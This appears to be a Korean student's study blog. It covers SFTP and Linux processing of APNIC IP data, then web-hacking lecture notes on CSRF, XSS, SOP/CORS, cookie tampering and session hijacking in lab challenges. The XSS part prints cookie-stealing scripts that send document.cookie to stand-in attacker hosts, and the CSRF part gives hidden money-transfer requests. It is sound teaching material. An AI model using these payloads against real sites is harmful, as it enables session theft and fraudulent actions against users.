320x100

 

SFTP란

 

SFTP는 호스트간에 파일을 전송하기위한 보안 채널을 제공하며 보안 파일 전송 프로토콜입니다.

 

SFTP 프로토콜은 SSH 프로토콜 (원격 로그인 응용 프로그램)의 일부입니다.

 

SFTP는 클라이언트와 서버간에 SSH 프로토콜에 의해 설정된 연결로 파일을 전송합니다.

 

SFTP는 전송하기 전에 데이터를 암호화하는 특징이 있습니다.

 

그래서 SFTP는 한 호스트에서 다른 호스트로 파일을 전송하는 안전한 방법을 제공합니다.

 

 

SFTP 서버 접속하는법

 

 

Bitvise SSH Client 설치

 

아래와 같은 창이 나오면 주어진 Host, Port, Username을 입력

주어진 패스워드를 활용하여 Log in 진행

 

 

 

커멘드 서버를 사용하기 위해 [New terminal console]을 선택합니다.

 

커멘드 서버를 열면 같이 초기화면을 확인할 수 있습니다.

 

- ls: 현재 디렉토리 또는 지정된 디렉토리의 파일 및 디렉토리 목록을 표시하는 명령어입니다. 

- /data: 확인하고자 하는 특정 디렉토리의 경로입니다.

 

/data 디렉토리에 포함된 모든 파일과 하위 폴더의 이름이 화면에 출력됩니다.

 

1. cp /data/delegaged .

cp /data/delegated-* . // 아시아 지역 IP 할당기관에 접속하여 최신 IP 할당 정보 다운

 

cp: 파일 복사를 수행하는 명령어입니다. 

/data/delegaged: 복사할 원본 파일의 경로입니다. 여기서는 /data 디렉토리에 있는 delegaged 파일을 지정하고 있습니다.

 

즉, delegaged 파일을 현재 위치(현재 디렉토리)로 복사하라는 뜻입니다.

 

2. cat delegaged

 

cat: "concatenate"의 줄임말로, 파일의 내용을 출력하거나 여러 파일을 연결하는 명령어입니다. 

delegaged: 출력하고자 하는 파일의 이름입니다. 현재 작업 중인 디렉토리에서 이 파일의 내용을 보여줍니다. 

 

따라서 이 명령어를 입력하면 delegaged 파일의 모든 내용이 터미널에 표시됩니다.

 

 

wget https://ftp.apnic.net/stats/apnic/delegated-apnic-extended-latest 

 

wget + 링크 = 원하는 링크의 파일을 설치 할 수 있습니다.

 

** edu9@edu:~$ rm delegated-* // 잘못 다운받아서 지우고 싶을때

** ctrl + c // 작업중인 프로세스가 끝남

 

cat delegated-* | wc -l

 

wc는 "word count"의 약자

결과적으로 이 명령어는 delegated-로 시작하는 모든 파일의 내용을 연결한 후, 그 내용의 줄 수를 세는 기능을 수행한 것입니다.

 

cat delegated-* | less

 

less: 출력된 내용을 페이지 단위로 볼 수 있는 프로그램입니다. less를 사용하면 출력된 내용을 스크롤하면서 확인할 수 있어, 긴 파일의 내용을 쉽게 탐색할 수 있습니다.

 

위의 명령어를 입력했을 때 아래와 같은 창을 볼 수 있다.

 

 

cat ipv4.log

ipv4.log 파일의 모든 내용이 터미널에 표시됩니다.

 

 

cat ipv4.log | awk -F"|" '$2!=""{print $0}' | head

 

cat ipv4.log: ipv4.log 파일의 내용을 출력합니다. 

|: 파이프(pipe) 기호로, 앞의 명령어의 출력을 다음 명령어의 입력으로 전달합니다. 

awk -F"|" '$2!=""{print $0}': awk: 텍스트 파일을 처리하고 분석하는 데 사용되는 프로그래밍 언어입니다. 

-F"|": 필드 구분자를 |로 설정합니다. 즉, 각 행이 | 기호로 구분된 여러 필드로 나뉘게 됩니다. 

'$2!=""{print $0}': 두 번째 필드($2)가 비어 있지 않은 경우(즉, 값이 있는 경우) 해당 행($0)을 출력하라는 의미입니다. 

| head: 앞의 명령어의 결과에서 첫 10줄을 출력합니다. 기본적으로 head는 10줄을 출력합니다. 

 

결과적으로 이 명령어는 ipv4.log 파일에서 두 번째 필드가 비어 있지 않은 행을 찾아 그 중 처음 10줄을 출력합니다.

 

 

 

 

cat delegated-* | awk -F"|" '$3=="ipv4"{print $0}'

 

delegated-로 시작하는 파일들에서 세 번째 필드가 "ipv4"인 행을 출력하게 됩니다.

 

 

 

 

 

cat ipv4.log | awk -F"|" '$2!=""{print $2}' | sort -u 

 

'$2!=""{print $2}': 두 번째 필드($2)가 비어 있지 않은 경우(즉, 값이 있는 경우) 해당 필드의 값을 출력하라는 의미입니다.

| sort -u: 앞의 명령어의 결과를 정렬하고 중복된 값을 제거하여 고유한 값만 출력합니다. -u 옵션은 "unique"의 약자로, 중복된 값을 제거합니다.

 

결과적으로 이 명령어는 ipv4.log 파일에서 두 번째 필드가 비어 있지 않은 모든 값을 추출하고, 그 중복을 제거한 후 정렬하여 출력합니다.

 

 

 

 

 

cat delegated-* | tr"|"\t" | head

 

tr "|" "\t": tr: 문자 변환(transliterate) 명령어로, 특정 문자를 다른 문자로 변환하는 데 사용됩니다. 

 

"|" "\t": 이 부분은 | 문자를 탭 문자(\t)로 변환하라는 의미입니다. 즉, | 기호를 탭으로 바꿉니다. 

 

결과적으로 이 명령어는 delegated-로 시작하는 모든 파일의 내용을 출력하면서 | 문자를 탭 문자로 변환한 후, 그 결과의 처음 10줄을 화면에 표시합니다.

 

 

 

cat delegated-* | awk -F"|" '$3=="ipv4"{print $0}' | head

 

'$3=="ipv4"{print $0}': 세 번째 필드($3)가 "ipv4"인 경우 해당 행($0)을 출력하라는 의미입니다.

결과적으로 이 명령어는 delegated-로 시작하는 파일들에서 세 번째 필드가 "ipv4"인 행을 찾아 그 중 처음 10줄을 출력합니다.

 

 

 

 

 

cat ipv4.log | awk -F"|" '$2!=""{print $0}' | grep -v '*'

 

| grep -v '*':

grep: 텍스트에서 패턴을 검색하는 명령어입니다.

-v: 패턴이 일치하지 않는 행을 출력합니다.

즉, * 문자가 포함된 행을 제외합니다. 

 

결과적으로 이 명령어는 ipv4.log 파일에서 두 번째 필드가 비어 있지 않은 행을 출력한 후, * 문자가 포함된 행을 제외합니다. 이 결과는 ipv4.log 파일에서 유효한 데이터만 필터링하여 보여줍니다.

 

 

 

ls -lth

 

ls -lth 명령어를 실행하면, 현재 디렉토리 내의 파일과 디렉토리 목록이 최신 수정 시간 순으로 정렬되어 상세 정보와 함께 표시됩니다.

 



 

 

cat ipv4.log | awk -F"|" '$2!=""{print $0}' | grep -v '\' | awk -F"|" '{sum+=$5} END{print sum "\t" sum/2^32100 "%"}'

 

 

1. cat ipv4.log

  • 이 명령어는 ipv4.log 파일의 내용을 출력합니다. 이 파일이 존재하고 읽을 수 있는 상태여야 합니다.

2. awk -F"|" '$2!=""{print $0}'

  • F"|": 필드 구분자로 파이프(|)를 설정합니다.
  • $2!="": 두 번째 필드가 비어 있지 않은 행을 필터링합니다.
  • {print $0}: 필터링된 행 전체를 출력합니다.

이 명령어는 두 번째 필드가 비어 있지 않은 모든 행을 출력합니다.

3. grep -v '\*'

  • v: 이 옵션은 패턴이 일치하는 행을 제외합니다.
  • '\*': 별표(``)가 포함된 행을 제외합니다.

이 명령어는 별표가 포함된 행을 모두 제외한 결과를 출력합니다.

4. awk -F"|" '{sum+=$5} END{print sum "\t" sum/2^32*100 "%"}'

  • F"|": 다시 한 번 필드 구분자로 파이프(|)를 설정합니다.
  • {sum+=$5}: 다섯 번째 필드의 값을 sum 변수에 누적합니다. 이 부분에서 $5는 다섯 번째 필드를 의미합니다.
  • END{print sum "\t" sum/2^32*100 "%"}': 모든 입력이 처리된 후, 누적된 합계 sum과 그 값을 2^32로 나눈 후 100을 곱한 값을 퍼센트로 출력합니다.

 

문제

 

1. 대한민국이 최초로 IPv4를 할당받은 년도는 언제인가?

 

cat delegated-* | grep KR | awk -F"|" '{print $6}' | sort | head

 

19860630

 

 

2. 대한민국 최초의 통신사는 어디인가?

 

cat delegated-* | grep KR | grep 19860630

 

apnic|KR|ipv4|128.134.0.0|65536|19860630|allocated|A92DDC30

 

KT

 

 

 

------

dig www.naver.com - ip를 확인가능 

DNS = 분산 db 라서 route DNS가 필요하다

ns = name sever

prefix = 목적지의 주소

from 누가 이야기해줬는가

ASpath 네트워크 path

zcat access.gz | wc -l // 몇줄인지 나옴

cd works // change directory 약자로, 현재 작업 중인 디렉토리를 변경하는 명령어입니다. works: 이동하려는 대상 디렉토리의 이름입니다. 이 디렉토리는 현재 위치한 디렉토리 내에 존재해야 합니다.

 

 

awk ‘{print $7}’ | sort | uniq -c | sort -rn | head -n 20 | awk ‘{print $2 “\t” $1}’ | feedgnuplot+bargraph.sh

 

awk '{print $7}': 입력된 데이터의 각 행에서 7번째 필드를 추출하여 출력합니다. 주로 로그 파일에서 특정 컬럼을 선택할 때 사용됩니다.

| sort: 추출된 결과를 정렬합니다. 기본적으로 오름차순으로 정렬됩니다.

| uniq -c: 중복된 행을 제거하고 각 행이 나타난 횟수를 세어 출력합니다. 이때 각 행의 앞에 그 숫자를 추가합니다.

| sort -rn: 숫자 기준으로 내림차순으로 정렬합니다. -r은 역순, -n은 숫자 형식으로 정렬하라는 의미입니다.

| head -n 20: 정렬된 결과에서 상위 20개의 행만 출력합니다.

| awk '{print $2 "\t" $1}': 상위 20개의 행에서 두 번째 필드(원래의 7번째 필드)와 첫 번째 필드(횟수)를 출력합니다. 이때 두 필드 사이에 탭 문자를 추가합니다.

| feedgnuplot+bargraph.sh: 최종 결과를 feedgnuplot+bargraph.sh 스크립트로 전달하여 바 그래프를 생성합니다. 이 스크립트는 데이터 시각화를 위해 Gnuplot을 사용하는 도구입니다.

전체적인 흐름
이 명령어는 특정 데이터에서 7번째 필드를 추출하고, 그 필드의 발생 빈도를 계산한 후, 가장 많이 발생한 상위 20개의 값을 바 그래프로 시각화하는 과정입니다.

 

 

 

 

zcat access.gz | grep /xampp/img/flash.gif | awk ‘{print $1}’ | sort -u | wc -l

 

zcat access.gz: access.gz 파일의 내용을 압축 해제하여 출력합니다.

| grep /xampp/img/flash.gif: 압축 해제된 데이터에서 /xampp/img/flash.gif라는 패턴이 포함된 행만 필터링하여 출력합니다. 즉, 이 경로에 대한 요청을 찾습니다.

| awk '{print $1}': 필터링된 결과에서 첫 번째 필드(일반적으로 IP 주소)를 추출하여 출력합니다.

| sort -u: 추출된 IP 주소를 정렬하고, 중복된 값을 제거하여 고유한 IP 주소만 남깁니다.

| wc -l: 고유한 IP 주소의 수를 계산하여 출력합니다.

 

 

bot.ip - ip를 모으는 방법

 

 

 

 

 

 

Layer 2
통신 방식: Layer 2에서는 MAC 주소를 통해 통신합니다.
신뢰성: MAC 주소는 모두 다르기 때문에 서로 간의 신뢰관계가 형성됩니다.
공격 방식:

 

ARP (Address Resolution Protocol)**는 네트워크에서 IP 주소를 MAC 주소로 변환하는 프로토콜입니다. 주로 IPv4 네트워크에서 사용되며, 데이터 링크 계층에서 호스트 간의 통신을 가능하게 합니다.


ARP Spoofing: MAC 주소를 기반으로 하는 공격으로, 네트워크에서 ARP를 조작하여 데이터 전송을 가로채는 방식입니다.
Man-in-the-Middle Attack: 공격자가 게이트웨이 주소를 변경하여 패킷에 URL을 삽입하고, 이를 통해 데이터를 가로채거나 변조합니다.
Layer 3
BGP (Border Gateway Protocol) Hijacking:
네트워크 경로를 악의적으로 변경하여 트래픽을 가로채는 공격입니다.
DNS (Domain Name System):
TTL (Time to Live):
TTL이 짧으면 DNS 질의에 부하가 걸립니다.
TTL이 길면 DNS 질의가 줄어들어 서버에 가는 부하가 적습니다.
DNS Sinkhole: 악성 트래픽을 차단하기 위해 DNS 요청을 조작하여 가짜 IP 주소로 유도하는 기술입니다.
BGP 하이재킹 탐지
BGP 하이재킹을 탐지하기 위해서는 자신이 소유한 prefix보다 하나 작은 prefix를 모니터링해야 합니다.

300x250
320x100

Cross Site Request Forgery (CSRF)  임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점

 

Example.

이용자의 계정으로 임의 금액을 송금해 금전적인 이득을 취하거나 비밀번호를 변경해 계정을 탈취하고, 관리자 계정을 공격해 공지사항 작성 등으로 혼란을 야기합니다.

 

CSRF 공격에 성공하기 위해서는 공격자가 작성한 악성 스크립트를 이용자가 실행해야 합니다.

 

 ** 위에서 말하는 악성 스크립트는 HTTP 요청을 보내는 코드

 

CSRF 공격 스크립트는 HTML 또는 Javascript를 통해 작성할 수 있습니다. 아래 사진 및 코드는 HTML으로 작성한 스크립트의 예시입니다.

 

이미지를 불러오는 img 태그를 사용하거나 웹 페이지에 입력된 양식을 전송하는 form 태그를 사용하는 방법이 있습니다. 이 두 개의 태그를 사용해 HTTP 요청을 보내면 HTTP 헤더인 Cookie에 이용자의 인증 정보가 포함됩니다.

 

 

 

아래 코드 img 태그를 사용한 스크립트의 예시입니다. 해당 태그는 이미지의 크기를 줄일 수 있는 옵션을 제공합니다. 이를 활용하면 이용자에게 들키지않고 임의 페이지에 요청을 보낼 수 있습니다.

<img src='http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337' width=0px height=0px>

 

 

아래 코드는 Javascript로 작성된 스크립트의 예시입니다. 새로운 창을 띄우고, 현재 창의 주소를 옮기는 등의 행위가 가능합니다.

/* 새 창 띄우기 */
window.open('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');
/* 현재 창 주소 옮기기 */
location.href = 'http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337';
location.replace('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');

 

 

XSS와 CSRF는 스크립트를 웹 페이지에 작성해 공격한다는 점에서 매우 유사합니다. 

두 개의 취약점은 모두 클라이언트를 대상으로 하는 공격이며, 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야 합니다

 

//차이점 

 

- XSS는 인증 정보인 세션 및 쿠키 탈취를 목적으로 하는 공격이며, 공격할 사이트의 오리진에서 스크립트를 실행시킵니다.

 

- CSRF는 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하는 공격입니다. 또한, 공격자는 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있습니다.

 

키워드

 

  • Cross Site Request Forgery (CSRF): 사이트 간 요청 위조. 이용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 웹사이트에 요청하게 만드는 공격.

 

 

Q1. 서버에서 이용자를 식별하기 위해 쿠키를 사용하고 있어야 CSRF 취약점으로 공격할 수 있다.

O

 

Q2. 브라우저는 CSRF 취약점을 방지하기 위한 보안 메커니즘을 제공한다.
O

 

Q3. CSRF 공격이 불가능할 때 XSS 공격도 불가능하다.
X
 
Q4. 서버에서 HTTP의 GET 메소드가 아닌 POST 메소드로 데이터를 받으면 CSRF에 안전하다.
 

X

dreamhack web hacking 강의를 기반으로 작성되었습니다.

300x250
320x100

 

Cross Site Scripting (XSS) 

 

 

Cross Site Scripting (XSS)는 클라이언트사이드의 취약점 중 하나입니다.

 

공격자가 웹 리소스에 악성 스크립트를 삽입해서 이용자의 웹 브라우저에 해당 스크립트를 실행할 수 있습니다. 

 

예를 들어 XSS 취약점이 존재하는 사이트 내에 오리진 권한으로 악성 스크립트를 삽입한다면, 이용자가 악성 스크립트가 포함된 페이지를 방문하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션을 탈취할 수 있습니다.

 

XSS공격은 SOP 보안 정책이 등장하면서 서로 다른 오리진에서는 정보를 읽는 행위가 이전에 비해 힘들어졌지만, 우회하는 기술들을 이용한 XSS공격은 계속 지속되고 있습니다. 

 

XSS 공격은 이용자가 삽입한 내용을 출력하는 기능에서 발생합니다.

 

 

XSS 공격에는 대표적으로 4가지 종류가 있습니다.

종류
설명
Stored XSS
XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
Reflected XSS
XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
DOM-based XSS
XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS
  • Fragment는 서버 요청/응답 에 포함되지 않습니다.
Universal XSS
클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

 

 

자바스크립트를 이용한 XSS 공격 코드 예시

<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>

쿠키 및 세션 탈취 공격 코드

 

<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>

페이지 변조 공격 코드

 

<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing"; 
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>

위치 이동 공격 코드

 

Stored XSS

서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생

 

대표적으로 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식

 

Reflected XSS

서버가 악성 스크립트가 담긴 요청을 출력할 때 발생

 

대표적으로 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식

 

일부 서비스에서는 검색 결과를 응답에 포함하는데, 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생

 

Reflected XSS는 Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생

 

 따라서 공격을 위해서는 다른 이용자를 악성 스크립트가 포함된 링크에 접속하도록 유도해야 합니다. 이용자에게 링크를 직접 전달하는 방법은 악성 스크립트 포함 여부를 이용자가 눈치챌 수 있기 때문에 주로 Click Jacking 또는 Open Redirect 등 다른 취약점과 연계하여 사용합니다.

 


쿠키 탈취

 

memo 페이지 사용

 

flag 엔드포인트에서 다음과 같은 익스플로잇 코드를 입력하면, memo 엔드포인트에서 임의 이용자의 쿠키 정보를 확인할 수 있습니다.

 

<script>location.href = "/memo?memo=" + document.cookie;</script>

 

 

웹 서버 사용

 

외부에서 접근 가능한 웹 서버를 통해 탈취한 쿠키를 확인할 수 있습니다. 외부에서 접근 가능한 웹 서버가 없다면 아래 첨부한 드림핵에서 제공하는 서비스를 사용할 수 있습니다. 해당 서비스에서 제공하는 Request Bin 기능은 이용자의 접속 기록을 저장하기 때문에 해당 정보를 확인할 수 있습니다. Request Bin 버튼을 클릭하면 랜덤한 URL이 생성되며, 해당 URL에 접속한 기록을 저장합니다.

flag 기능에서 다음과 같은 익스플로잇 코드를 입력하면, 아래와 같이 접속 기록에 포함된 FLAG를 확인할 수 있습니다.

 

<script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>

 

 

 


dreamhack web hacking 강의를 기반으로 작성되었습니다.

300x250
320x100

Same Origin Policy (SOP)

 

브라우저는 인증 정보로 사용될 수 있는 쿠키를 브라우저 내부에 보관합니다. 그리고 이용자가 웹 서비스에 접속할 때, 브라우저는 해당 웹 서비스에서 사용하는 인증 정보인 쿠키를 HTTP 요청에 포함시켜 전달합니다. 

 

브라우저는 웹 리소스를 통해 간접적으로 타 사이트에 접근할 때도 인증 정보인 쿠키를 함께 전송하는 특징을 가지고 있습니다.

 

이 특징 때문에 악의적인 페이지가 클라이언트의 권한을 이용해 대상 사이트에 HTTP 요청을 보내고, HTTP 응답 정보를 획득 하는 코드를 실행할 수 있습니다. 

 

따라서, 클라이언트 입장에서는 가져온 데이터를 악의적인 페이지에서 읽을 수 없도록 해야 합니다. 이것이 바로 브라우저의 보안 메커니즘인 동일 출처 정책 (Same Origin Policy, SOP) 입니다.

 

Same Origin Policy의 오리진 (Origin) 구분 방법

브라우저가 가져온 정보의 출처인 오리진 (Origin)을 어떻게 구분하는지 알아보겠습니다. 먼저, 오리진은 프로토콜 (Protocol, Scheme), 포트 (Port), 호스트 (Host) 로 구성됩니다. 구성 요소가 모두 일치해야 동일한 오리진이라고 합니다. 

 

URL 결과 이유
https://same-origin.com/frame.html Same Origin Path만 다름
http://same-origin.com/frame.html Cross Origin Scheme이 다름
https://cross.same-origin.com/frame.html Cross Origin Host가 다름
https://same-origin.com:1234/ Cross Origin Port가 다름

 

SOP는 Cross Origin이 아닌 Same Origin일 때만 정보를 읽을 수 있도록 해줍니다.

 

Same Origin

sameNewWindow = window.open('https://dreamhack.io/lecture');
console.log(sameNewWindow.location.href);
// 결과: https://dreamhack.io/lecture

Cross Origin

crossNewWindow = window.open('https://theori.io');
console.log(crossNewWindow.location.href);
// 결과: Origin 오류 발생

 

** window.open은 새로운 창을 띄우는 함수이며, object.location.href객체가 가리키고 있는 URL 주소를 읽어오는 코드 입니다.

 

Cross Origin 데이터 읽기/쓰기

위와 같이 외부 출처에서 불러온 데이터를 읽으려고 할 때는 오류가 발생해 읽지 못합니다. 하지만 읽는 것 외에 데이터를 쓰는 것은 문제 없이 동작합니다. 즉, 아래와 같은 코드는 오류가 발생하지 않습니다.

 

crossNewWindow = window.open('https://theori.io');
crossNewWindow.location.href = "https://dreamhack.io";

 

 

 


Cross-Origin Resource Sharing (CORS)

브라우저가 이러한 SOP에 구애 받지 않고 외부 출처에 대한 접근을 허용해주는 경우가 존재합니다. 예를 들면, 이미지나 자바스크립트, CSS 등의 리소스를 불러오는 <img>, <style>, <script> 등의 태그는 SOP의 영향을 받지 않습니다.

 

위 경우들 외에도 웹 서비스에서 동일 출처 정책인 SOP를 완화하여 다른 출처의 데이터를 처리 해야 하는 경우도 있습니다. 예를 들어 특정 포털 사이트가 카페, 블로그, 메일 서비스를 아래의 주소로 운영하고 있다고 합시다. 각 서비스의 Host가 다르기 때문에 브라우저는 각 사이트의 오리진이 다르다고 인식합니다.

  • 카페: https://cafe.dreamhack.io
  • 블로그: https://blog.dreamhack.io
  • 메일: https://mail.dreamhack.io
  • 메인: https://dreamhack.io

이러한 환경에서, 이용자가 수신한 메일의 개수를 메인 페이지에 출력하려면, 개발자는 메인 페이지에서 메일 서비스에 관련된 리소스를 요청하도록 해야합니다. 이 때, 두 사이트는 오리진이 다르므로 SOP를 적용받지 않고 리소스를 공유할 방법이 필요합니다.

 

위와 같은 상황에서 자원을 공유하기 위해 사용할 수 있는 공유 방법을 교차 출처 리소스 공유 (Cross Origin Resource Sharing, CORS)라고 합니다. 교차 출처의 자원을 공유하는 방법은 CORS와 관련된 HTTP 헤더를 추가하여 전송하는 방법을 사용합니다. 이 외에도 JSON with Padding (JSONP) 방법을 통해 CORS를 대체할 수 있습니다.

 

 

교차 출처 리소스 공유 (Cross Origin Resource Sharing, CORS)는 HTTP 헤더에 기반하여 Cross Origin 간에 리소스를 공유하는 방법입니다. 발신측에서 CORS 헤더를 설정해 요청하면, 수신측에서 헤더를 구분해 정해진 규칙에 맞게 데이터를 가져갈 수 있도록 설정합니다.

 

키워드

  • Same Origin Policy (SOP): 동일 출처 정책, 현재 페이지의 출처가 아닌 다른 출처로부터 온 데이터를 읽지 못하게 하는 브라우저의 보안 메커니즘
  • Same Origin: 현재 페이지와 동일한 출처
  • Cross Origin: 현재 페이지와 다른 출처
  • Cross Origin Resource Sharing (CORS): 교차 출처 리소스 공유, SOP의 제한을 받지 않고 Cross Origin의 데이터를 처리할 수 있도록 해주는 메커니즘

 

Q1. 다음 중 SOP는 어디로부터 온 데이터를 브라우저가 읽지 못하게 하는 정책인가?
Cross Origin
Q2. 다음 중 CORS 헤더 방식에서 HTTP 메소드 중 OPTIONS를 통해 수신측 웹 리소스의 접근 관련 질의를 하는 과정은?
CORS preflight
 
Q3. 다음 중 SOP의 동일 출처 기준을 판단하는 URI의 요소는? (모두 선택)
 
Schema, Host, Port
 
Q4. 다음 중 SOP의 제한을 완화하여 다른 Origin의 웹 리소스를 가져오는 방식은?
CORS

 


dreamhack web hacking 강의를 기반으로 작성되었습니다.

 

300x250
320x100

웹 서비스 취약점 분석

 

엔드 포인트: /admin

엔드포인트는 컴퓨터 네트워크에 연결되는 모든 장치를 말합니다. Bob과 Alice가 전화로 통화할 때 두 사람의 연결은 한 사람에서 다른 사람으로 확장되며, 연결의 "엔드포인트" 는 각자의 전화입니다. 

 

 

admin 세션 생성은 서비스 실행 시 os.urandom(32).hex()를 통한 무작위 값 생성을 통해 username이 admin인 세션 정보를 session_storage에 생성합니다. 해당 session_storage 정보를 조회할 수 있다면 무작위 값을 추론하지 않고도 곧바로 Session ID를 획득할 수 있음을 알 수 있습니다.

 

if __name__ == '__main__':
    import os
    # create admin sessionid and save it to our storage
    # and also you cannot reveal admin's sesseionid by brute forcing!!! haha
    session_storage[os.urandom(32).hex()] = 'admin' # username이 admin인 Session ID를 무작위로 생성
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

 

 


간단한 Cookie 변조를 통한 admin 계정 탈취 연습

 

py 코드를 분석하여 guest 이메일로 로그인합니다.

 

로그인페이지에서 마우스 오른쪽 버튼을 클릭하여 inspector를 열어주고 Application -> Cookies 카테고리를 찾아 들어가면 현재 Value가 guest 인 것을 확인 할 수 있습니다.

 

value값 guest를 admin 으로 수정을 하고 새로고침을 하면 admin 계정으로 접속이 되고 FLAG를 찾을 수 있습니다.

 


간단한 Session Hijacking 연습

 

/admin 페이지에 접속하면 세션 정보 조회와 같이 현재 접속된 모든 이용자의 Session ID와 username을 조회할 수 있습니다.

 

Session ID와 username을 복사한 후 py 코드를 분석하여 user 아이디로 로그인을 합니다.

 

이후 쿠키의 sessionid의 값을 admin의 Session ID로 생성해야 합니다. 방금 연습한 웹 브라우저를 통해 쿠키 변조와 같이 웹 브라우저의 개발자 도구를 사용하면 쿠키의 정보를 수정할 수 있습니다. 

 

User의 Session ID를 admin의 세션아이디로 변경합니다.

 

 

 

 

admin의 Session ID가 적용된 상태에서 서버에 요청하면 FLAG를 획득할 수 있습니다.

결론

기본적으로 배포 전 디버그 코드가 남아있는지 검사한다면 이번 실습의 공격을 방지할 수 있습니다. “developer’s note”나 “TODO” 등과 같은 문자열들을 찾아보며 소스코드에 주석된 메시지와 코드들을 점검하는 습관을 들이는 것이 좋습니다.

 

세션 하이재킹 공격에 대해서는 세션 타임아웃을 적용해 해결할 수 있습니다. 일정 주기마다 Session ID를 재발급해 정상 로그인한 이용자는 장기간 세션을 유지할 수 있는 반면, 탈취한 Session ID로 접속한 아용자는 일정시간 이후 더 이상 해당 인증이 유효하지 않게 되므로 안전한 서비스를 구현할 수 있습니다.

 

 

 

 

dreamhack web hacking 강의를 기반으로 작성되었습니다.
300x250
320x100

Cookie

용도

쿠키는 클라이언트의 정보 기록과 상태 정보를 표현하는 용도로 사용합니다.

 

쿠키에는 인증 상태를 나타내는 민감한 정보가 보관되며, 브라우저 내부에 저장됩니다. 그리고 브라우저가 웹 서비스에 접속할 때 브라우저는 자동으로 쿠키를 헤더에 포함시켜 요청을 보냅니다. 이 덕분에 우리는 포털 사이트, SNS와 같은 웹 서비스에 한 번 로그인한 후 일정 기간은 로그인하지 않고도 바로 서비스를 사용할 수 있습니다.

정보기록

예를들어, 웹 서비스 사용 시 등장하는 팝업 창 "다시보지않기" 또는 "7일 동안 보지않기" 버튼 등이 있다. 이러한 버튼을 클릭하면 웹 서버는 자동으로 클라이언트의 팝업 옵션을 기록하기 위해 쿠키에 해당 정보를 기억하고 쿠키를 통해 팝업 창의 표시 여부를 판단합니다.

 

쿠키는 서버와 통신할 때마다 전송이 되기 때문에 리소스 용량을 많이 차지 하는 경향이 있다. 이를 보완하기 위해 최근에는 Modern Storage APIs를 통해 데이터를 저장하는 방식을 권장하고 있습니다.

 

상태정보

많은 웹 사이트에서는 회원 가입과 로그인을 통해 개개인에게 맞춤형 서비스를 제공합니다. 웹 서버에서는 수많은 클라이언트의 로그인 상태와 이용자를 구별해야 하는데, 이때 클라이언트를 식별할 수 있는 값을 쿠키에 저장해 사용합니다.

 

쿠키 변조

쿠키는 클라이언트의 브라우저에 저장되고 요청에 포함되는 정보입니다. 악의적인 클라이언트는 쿠키 정보를 변조해 서버에 요청을 보낼 수 있습니다. 만약 서버가 별다른 검증 없이 쿠키를 통해 이용자의 인증 정보를 식별한다면 공격자가 타 이용자를 사칭해 정보를 탈취할 수 있습니다.

 

취약점 분석

@app.route('/') # / 페이지 라우팅 
def index():
    username = request.cookies.get('username', None) # 이용자가 전송한 쿠키의 username 입력값을 가져옴
    if username: # username 입력값이 존재하는 경우
        return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}') # "admin"인 경우 FLAG 출력, 아닌 경우 "you are not admin" 출력
    return render_template('index.html')

 

본 문제를 해결하기 위해서는 쿠키에 존재하는 username을 "admin" 문자열로 조작해야 합니다. 웹 브라우저의 개발자 도구를 사용하면 쿠키의 정보를 확인하거나 수정할 수 있습니다

 

username을 "admin"으로 변경해 서버에 요청하면 FLAG를 획득할 수 있습니다.


Session

웹 통신에서도 클라이언트가 쿠키를 변조해 서버에 요청을 보낼 수 있습니다. 따라서, 쿠키에 인증 상태를 저장하지만 클라이언트가 인증 정보를 변조할 수 없게 하기 위해 세션(Session)을 사용합니다.

 

 세션은 인증 정보를 서버에 저장하고 해당 데이터에 접근할 수 있는 키(유추할 수 없는 랜덤한 문자열)를 만들어 클라이언트에 전달하는 방식으로 작동합니다. 해당 키를 일반적으로 Session ID라고 합니다. 브라우저는 해당 키를 쿠키에 저장하고 이후에 HTTP 요청을 보낼 때 사용합니다. 서버는 요청에 포함된 키에 해당하는 데이터를 가져와 인증 상태를 확인합니다.

 

연습

원하는 웹페이지에 로그인을 한 이후, 

마우스 오른쪽 클릭을 하여 Inspect -> Application -> Cookies 에 들어가서 sessionID를 확인할 수 있습니다.

 

 

sessionid 헤더의 값을 메모장에 복사 합니다.

 

